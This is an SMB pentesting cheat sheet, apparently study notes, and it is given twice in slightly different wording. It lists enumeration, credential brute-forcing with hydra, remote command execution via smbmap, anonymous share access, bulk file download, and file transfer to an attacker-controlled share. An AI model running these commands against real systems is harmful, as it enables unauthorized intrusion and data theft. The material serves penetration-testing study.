SMB

SMB (Server Message Block) Pentesting

Last modified: 2022-12-21 Active Directory Windows

It allows clients, like workstations, to communicate with a server like a share directory. Samba is derived from SMB for linux. Default ports are 139, 445. Enumeration

To enumerate automatically, you can use nmap.

nmap --script smb-brute -p 445 <target-ip>

nmap --script smb-enum-shares.nse,smb-enum-users.nse -p 445 <target-ip>

nmap --script smb-enum* -p 445 <target-ip>

nmap --script smb-protocols -p 445 <target-ip>

nmap --script smb-vuln* -p 445 <target-ip>

Enum4linux

Enum4linux enumerates the users, share directories, etc.

1. Basic

enum4linux <target-ip>

1. All enumeration

enum4linux -a <target-ip>

1. Verbose

enum4linux -v <target-ip>

1. Specify username and password

enum4linux -u username -p password <target-ip>

Smbmap

smbmap -H <target-ip>

1. Recursive

smbmap -H <target-ip> -R

1. Username and password

smbmap -u username -p password -H <target-ip>

1. Execute a command

smbmap -u username -p password -H <target-ip> -x 'ipconfig'

Brute Force Credentials

hydra -l username -P passwords.txt <target-ip> smb hydra -L usernames.txt -p password <target-ip> smb

Connect

You can use smbclient to connect the target.

smbclient -L 10.0.0.1 smbclient -N -L 10.0.0.1 smbclient -N -L \\\\10.0.0.1 smbclient -L 10.0.0.1 -U username

1. anonymous

smbclient //10.0.0.1/somedir -N

1. with space use the "" double quotes

smbclient "//10.0.0.1/some dir" -N

1. Specify shared directory

smbclient //10.0.0.1/somedir -U username

1. nobody, no-pass

smbclient //10.0.0.1/somedir -N -U nobody

1. Specify workgroup

smbclient -L 10.0.0.1 -W WORKGROUP -U username

Commands in SMB

After connecting, you can find the sensitive files or information.

1. List files

smb> ls

1. Download a file

smb> get sample.txt

To download files recursively, run the following commands.

smb> mask "" smb> recurse ON smb> prompt OFF smb> mget *

Or using smbget from local machine.

smbget -R smb://<target-ip>/somedir -U username

1. Specify workgroup

smbget -R smb://<target-ip>/somedir -w WORKGROUP -U username

1. as anonymous user

smbget smb://<target-ip>/somedir -U anonymous password: anonymous

transfer a file from windows to my attacker machine.

---

In my kali machine

mk dir smb

sudo impacket-smbserver -smb2support share $(pwd)

powershell copy bloodhound.zip \\attackip\share\

18.4.11.A. SMB Pentesting

SMB stands for Server Message Block. Default ports are 445, 139. Ok what does it do? Glad you asked. It allows clients, like workstations, to communicate with a server like a share directory. SMB Enumeration Auto enum can be done with nmap like so. Pay attention here the port may be different but no all the time and of course the ip will be different.

nmap --script smb-brute -p 445 <target-ip> nmap --script smb-enum-shares.nse,smb-enum-users.nse -p 445 <target-ip> nmap --script smb-enum* -p 445 <target-ip> nmap --script smb-protocols -p 445 <target-ip> nmap --script smb-vuln* -p 445 <target-ip> Enum4Linux enumerates the users, share directories, etc. enum4linux <target-ip> # Basic use. enum4linux -a <target-ip> # All Enum. enum4linux -v <target-ip> # Verbose. enum4linux -u username -p password <target-ip> #Specify username and password this can get us even more information as we will have accessed that users share. Smbmap smbmap -H <target-ip> smbmap -H <target-ip> -R # Recursive lookup. smbmap -u username -p password -H <target-ip> # Username and Password smbmap -u username -p password -H <target-ip> -x 'ipconfig' # Execute a command

Brute Force Credentials hydra -l username -P passwords.txt <target-ip> smb hydra -L usernames.txt -p password <target-ip> smb

Connect with smbclient

smbclient -L 10.0.0.1 smbclient -N -L 10.0.0.1 smbclient -N -L \\\\10.0.0.1 smbclient -L 10.0.0.1 -U username

Anonymous smbclient //10.0.0.1/somedir -N

With a space in the dir we “” smbclient "//10.0.0.1/some dir" -N

Specify shared directory smbclient //10.0.0.1/somedir -U username

Specify workgroup smbclient -L 10.0.0.1 -W WORKGROUP -U username

                                                                 Commands in SMB

Once Connected we can find sensitive files or information and we love that as hackers dont we.

List Files

smb> ls

Download a file

smb> get sample.txt

Put a file can be txt,pdf,php etc..

smb> put sample.txt

Download files recursively smb> mask "" smb> recurse ON smb> prompt OFF smb> mget *

We can use smbget from our local machine as well

smbget -R smb://<target-ip>/somedir -U username

         Specify workgroup

smbget -R smb://<target-ip>/somedir -w WORKGROUP -U username

        as anonymous user

smbget smb://<target-ip>/somedir -U anonymous password: anonymous

Transfer a file from windows to my attacker machine In your local kali make a directory that you want that file to go into.

mk dir smb

Next we will run impacket-smbserver

sudo impacket-smbserver -smb2support share $(pwd)

Then we will transfer the file over to that share we just set up with impacket-smbserver.

powershell copy bloodhound.zip \\attackip\share\

I choose to show you a transfer of a bloodhound zip file which is super important when enumerating AD.